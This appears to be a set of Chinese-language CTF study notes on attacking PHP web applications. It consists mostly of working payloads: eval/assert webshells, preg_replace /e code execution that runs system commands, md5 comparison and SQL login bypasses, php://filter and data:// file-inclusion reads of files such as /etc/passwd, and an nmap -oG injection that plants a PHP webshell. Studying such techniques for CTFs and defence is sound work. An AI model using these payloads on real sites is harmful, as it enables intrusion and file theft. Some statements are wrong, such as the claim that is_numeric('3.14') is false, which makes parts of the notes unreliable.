show_source()    // 显示指定文件的源代码

var_dump()    // 打印变量的详细信息，包括变量的类型和值

scandir()    // 获取指定目录

	scandir(/)    //获取根目录

chr()    // 将 ASCII 码转换为对应的字符
	可拼接file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

file_get_contents()    // 获取指定路径的文件的内容

sizeof()    // 返回数组长度

isset()    // 检查是否空，空则false

$var1 = 123;
$var2 = "3.14";
$var3 = "abc";
$var4 = "123abc";

echo is_numeric($var1);  // 输出：1（true）
echo is_numeric($var2);  // 输出：0（false）
echo is_numeric($var3);  // 输出：0（false）
echo is_numeric($var4);  // 输出：0（false）

echo intval("123");        // 输出: 123
echo intval("+123");       // 输出: 123
echo intval("123.45");     // 输出: 123
echo intval("123abc");     // 输出: 123
echo intval("abc123");     // 输出: 0
echo intval("12.3abc45");  // 输出: 12

if(intval($num) < 2020 && intval($num + 1) > 2021) {}

echo intval(1e10); // 10000000000
echo intval('1e10'); // 10000000000

int intval ( mixed $var [, int $base = 10 ] )

eval(eval(...)) #错误
eval(assert(eval(...))) #正确

#由于php版本问题，也不能直接用assert构造一句话，所以只能采用eval(assert(eval(...)))
<?php assert(POST['a']) ;> #错误

echo $b($a) # $a = 'phpinfo();'

$b = 'eval' # 错误，会报错
$b = 'assert' # 正确，assert等效eval，把字符串当作php执行

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_replace( '/(' . $key . ')/ei', 'strtolower("\\1")', $value );

 ?\S*=${phpinfo()}

?\S*=${eval($_POST[cmd])}
// 再 POST 一个参数 cmd=system("cat /flag");

// 或者解析一个题目给出的可以利用的函数
// function getFlag(){
//   	@eval($_GET['cmd']);
// }
?\S*=${getFlag()}&cmd=system("ls");

var_dump(phpinfo()); // 结果：布尔 true

var_dump(strtolower(phpinfo()));// 结果：字符串 '1'
// 先执行 phpinfo 得到返回值是 1，再 strtolower("1") 返回值是 1

var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果：字符串'11'
// 先解析 {${phpinfo()}}，其中 phpinfo 返回 1， 解析得 {$1}
// var_dump(preg_replace('/(.*)/i','1','任意字符')); 返回 11

var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果：空字符串''

var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果：空字符串''
// 这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

preg_match("/\\\\/", $str1)
// preg_match("/\\/", $str1) 无效

preg_match("/\\|\\\\/", $str2)

eval("highlight_file(glob("/f*")[0]);")

# ls
scandir(current(localeconv()))
# localecnov() 函数返回一个包含本地数字及货币格式信息的数组。相当于Linux的ls
# current() 返回数组中当前元素的值
# scandir()就是列出目录中的文件和目录

# 打印
print_r();
print_r(scandir(current(localeconv())));
# 查看调试信息

# 定位
# array_reverse() 反转数组
# next() 指向下一个 (第二个)
next(array_reverse(scandir(current(localeconv()))))
# 此处指倒数第二个数组元素

# payload
# highlight 读取文件
highlight_file(next(array_reverse(scandir(current(localeconv())))));

==  和 !=  左右两边数据类型不同时，会将他们转化成同一格式进行比较。

=== 和 !== 左右两边数据类型不同时，则返回false

<!--
$a = $_GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    //flag
-->

?a[]=1&b[]=2

# md5($a) == md5($b) returns true

?a=QNKCDZO&b=s878926199a

# md5($a) == md5($b) returns true

TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

$str = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));

select * from 'admin' where password=md5($pass,true)

ffifdyop

__construct() 当一个对象创建时被调用，反序列化不触发
__destruct()  当一个对象销毁时被调用
__toString()  当一个对象被当作一个字符串使用，比如echo输出或用 . 和字符串拼接
__call()      当调用的方法不存在时触发
__invoke()    当一个对象被当作函数调用时触发
__wakeup()    反序列化时自动调用
__get()       类中的属性私有或不存在触发
__set()       类中的属性私有或不存在触发

$zj = $_REQUEST['z j.'];

# 传入参数     $zj       实际变量
# ?z j.=1     NULL      z_j_
# ?z[j.=1     NULL      z_j.

?file=file:///etc/passswd

?url=/?url=file:///var/www/html/index.php # 访问index.php

# base64 输出
php://filter/read=convert.base64-encode/resource=[文件名]
# 适用于 include 读文件

# 在数据流中写入 POST 的数据
php://input

# 读取实例
?cmd=php://filter/read=convert.base64-encode/resource=[文件名]

?file=data://text/plain,xxxx
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

file_get_contents($text,'r')==="welcome to the zjctf"

?text=data://text/plain,welcome to the zjctf
# 相当于 封装了一个虚拟的文件 内容是 welcome to the zjctf

# 或者

?text=php://input
# 同时 POST数据：welcome to the zjctf

<?php
    $str1 = "ls";
    $str2 = "ls -al";
    $str3 = "ls'zj";
    var_dump(escapeshellarg($str1));
    var_dump(escapeshellarg($str2));
    var_dump(escapeshellarg($str3));
?>

string(4) "'ls'"
string(8) "'ls -al'"
string(10) "'ls'\''zj'"

 &#;`|*?~<>^()[]{}$\   \x0A   \xFF

<?php
    $str1 = "ls";
    $str2 = "ls;";
    $str3 = "';ls;";
    var_dump(escapeshellcmd($str1));
    var_dump(escapeshellcmd($str2));
    var_dump(escapeshellcmd($str3));
?>

string(2) "ls"
string(4) "ls\;"
string(8) "\'\;ls\;"

<?php
	$str1 = "zj' -l ";
	system(escapeshellcmd("ls --ignore=".escapeshellarg($str1)." /tmp"));
	echo escapeshellcmd("ls --ignore=".escapeshellarg($str1)." /tmp");
?>

<?php
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
?>

?host=2.2.2.2' <?php echo `cat /flag`;?> -oG test.php '

<?php

include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

?>

?is=flag&flag=flag